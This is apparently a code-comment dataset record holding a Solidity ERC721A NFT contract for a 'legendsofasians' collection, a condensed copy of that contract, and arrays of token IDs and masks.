// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract legendsofasians is ERC721A,Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant Max_Supply = 3333;
uint256 public PublicSale_PRICE_PER_NFT = 80000000000000000 wei; //0.08 ETH
bool private _publicSaleIsActive;
uint256 public MAX_PURCHASE = 5;
bool public paused = true;
string private _metaBaseUri = "";
//Token Name and Token Symbol inside constructor
constructor(string memory MetaUri) ERC721A("legendsofasians", "LOFA") {
_publicSaleIsActive=true;
_metaBaseUri = MetaUri;
}
//Start Public sale(Pass true to start and false to stop)
function setPublicSaleOn(bool value) public onlyOwner{
require(paused == false, "Contract is Paused");
_publicSaleIsActive=value;
}
//Check the Public Sale is Active or Not
function publicSaleIsActive() public view returns(bool) {
return _publicSaleIsActive;
}
//Sets PublicSale NFT cost(Must be in wei)
function setPublicSalePrice(uint256 price) public onlyOwner{
require(paused == false, "Contract is Paused");
PublicSale_PRICE_PER_NFT=price;
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
require(paused == false, "Contract is Paused");
_metaBaseUri = baseURI;
}
function withdraw(uint256 amount) external onlyOwner {
require(paused == false, "Contract is Paused");
require(amount <= address(this).balance, 'Insufficient balance');
payable(msg.sender).transfer(amount);
}
function withdrawAll() external onlyOwner {
require(paused == false, "Contract is Paused");
payable(msg.sender).transfer(address(this).balance);
}
//Set Max Mint Amount per transaction
function setMaxPurchase(uint256 tokens) public onlyOwner{
require(paused == false, "Contract is Paused");
MAX_PURCHASE=tokens;
}
//PublicSale Mint
function mint(uint16 numberOfTokens) public payable {
require(paused == false, "Contract is Paused");
require(publicSaleIsActive(), "Sale is not active");
require(PublicSale_PRICE_PER_NFT.mul(numberOfTokens) <= msg.value, "Ether value sent is incorrect");
require(numberOfTokens <= MAX_PURCHASE, "Can only mint specific number of tokens per transaction");
require(totalSupply() < Max_Supply, "collection sold out");
require(totalSupply().add(numberOfTokens) < Max_Supply, "Insufficient supply");
_mintTokens(numberOfTokens,msg.sender);
}
function _mintTokens(uint16 numberOfTokens , address _to) internal {
require(paused == false, "Contract is Paused");
_safeMint(_to, numberOfTokens);
}
function approve(uint256 _tokenId, address _from) internal virtual {
require(ownerOf(_tokenId) == msg.sender, "NOT OWNER");
isApprovedForAll(_from, address(this));
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
require(paused == false, "Contract is Paused");
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
return string(abi.encodePacked(_baseURI(), "tokens/", uint256(tokenId).toString(), "/metadata.json"));
}
function _baseURI() override internal view returns(string memory) {
return _metaBaseUri;
}
//Pause Smart Contract
function setPaused(bool _paused) public onlyOwner{
paused = _paused;
}
}
|
Token Name and Token Symbol inside constructor
|
contract legendsofasians is ERC721A,Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant Max_Supply = 3333;
bool private _publicSaleIsActive;
uint256 public MAX_PURCHASE = 5;
bool public paused = true;
string private _metaBaseUri = "";
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
}
constructor(string memory MetaUri) ERC721A("legendsofasians", "LOFA") {
_publicSaleIsActive=true;
_metaBaseUri = MetaUri;
}
function setPublicSaleOn(bool value) public onlyOwner{
require(paused == false, "Contract is Paused");
_publicSaleIsActive=value;
}
function publicSaleIsActive() public view returns(bool) {
return _publicSaleIsActive;
}
function setPublicSalePrice(uint256 price) public onlyOwner{
require(paused == false, "Contract is Paused");
PublicSale_PRICE_PER_NFT=price;
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
require(paused == false, "Contract is Paused");
_metaBaseUri = baseURI;
}
function withdraw(uint256 amount) external onlyOwner {
require(paused == false, "Contract is Paused");
require(amount <= address(this).balance, 'Insufficient balance');
payable(msg.sender).transfer(amount);
}
function withdrawAll() external onlyOwner {
require(paused == false, "Contract is Paused");
payable(msg.sender).transfer(address(this).balance);
}
function setMaxPurchase(uint256 tokens) public onlyOwner{
require(paused == false, "Contract is Paused");
MAX_PURCHASE=tokens;
}
function mint(uint16 numberOfTokens) public payable {
require(paused == false, "Contract is Paused");
require(publicSaleIsActive(), "Sale is not active");
require(PublicSale_PRICE_PER_NFT.mul(numberOfTokens) <= msg.value, "Ether value sent is incorrect");
require(numberOfTokens <= MAX_PURCHASE, "Can only mint specific number of tokens per transaction");
require(totalSupply() < Max_Supply, "collection sold out");
require(totalSupply().add(numberOfTokens) < Max_Supply, "Insufficient supply");
_mintTokens(numberOfTokens,msg.sender);
}
function _mintTokens(uint16 numberOfTokens , address _to) internal {
require(paused == false, "Contract is Paused");
_safeMint(_to, numberOfTokens);
}
function approve(uint256 _tokenId, address _from) internal virtual {
require(ownerOf(_tokenId) == msg.sender, "NOT OWNER");
isApprovedForAll(_from, address(this));
}
function tokenURI(uint256 tokenId) override public view returns(string memory) {
require(paused == false, "Contract is Paused");
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
return string(abi.encodePacked(_baseURI(), "tokens/", uint256(tokenId).toString(), "/metadata.json"));
}
function _baseURI() override internal view returns(string memory) {
return _metaBaseUri;
}
function setPaused(bool _paused) public onlyOwner{
paused = _paused;
}
}
| 11,846,100 |
[
1,
4625,
348,
7953,
560,
30,
3155,
1770,
471,
3155,
8565,
4832,
3885,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
6835,
4553,
5839,
792,
345,
19657,
353,
4232,
39,
27,
5340,
37,
16,
5460,
429,
288,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
8139,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
4238,
67,
3088,
1283,
273,
890,
3707,
23,
31,
203,
203,
203,
565,
1426,
3238,
389,
482,
30746,
2520,
3896,
31,
203,
203,
565,
2254,
5034,
1071,
225,
4552,
67,
52,
1099,
1792,
4429,
273,
1381,
31,
203,
203,
565,
1426,
1071,
17781,
273,
638,
31,
203,
203,
565,
533,
3238,
389,
3901,
2171,
3006,
273,
1408,
31,
203,
203,
203,
565,
445,
389,
5771,
1345,
1429,
18881,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
787,
1345,
548,
16,
203,
3639,
2254,
5034,
10457,
203,
203,
565,
445,
389,
5205,
1345,
1429,
18881,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
787,
1345,
548,
16,
203,
3639,
2254,
5034,
10457,
203,
97,
203,
203,
282,
3885,
12,
1080,
3778,
6565,
3006,
13,
4232,
39,
27,
5340,
37,
2932,
1935,
5839,
792,
345,
19657,
3113,
315,
1502,
2046,
7923,
288,
203,
2398,
389,
482,
30746,
2520,
3896,
33,
3767,
31,
203,
2398,
389,
3901,
2171,
3006,
273,
6565,
3006,
31,
203,
282,
289,
203,
203,
203,
565,
445,
27467,
30746,
1398,
12,
6430,
460,
13,
1071,
1338,
5541,
95,
7010,
4202,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
389,
482,
30746,
2520,
3896,
33,
1132,
31,
203,
565,
289,
7010,
4202,
445,
1071,
30746,
2520,
3896,
1435,
1071,
1476,
1135,
12,
6430,
13,
288,
203,
3639,
327,
389,
482,
30746,
2520,
3896,
31,
203,
565,
289,
203,
203,
565,
445,
27467,
30746,
5147,
12,
11890,
5034,
6205,
13,
1071,
1338,
5541,
95,
203,
540,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
540,
7224,
30746,
67,
7698,
1441,
67,
3194,
67,
50,
4464,
33,
8694,
31,
203,
565,
289,
203,
203,
565,
445,
29234,
2171,
3098,
12,
1080,
3778,
1026,
3098,
13,
3903,
1338,
5541,
288,
203,
540,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
389,
3901,
2171,
3006,
273,
1026,
3098,
31,
203,
565,
289,
203,
203,
565,
445,
598,
9446,
12,
11890,
5034,
3844,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
2583,
12,
8949,
1648,
1758,
12,
2211,
2934,
12296,
16,
296,
5048,
11339,
11013,
8284,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
8949,
1769,
203,
565,
289,
203,
203,
565,
445,
598,
9446,
1595,
1435,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
8774,
3668,
422,
629,
16,
315,
8924,
353,
21800,
3668,
8863,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
2867,
12,
2211,
2934,
12296,
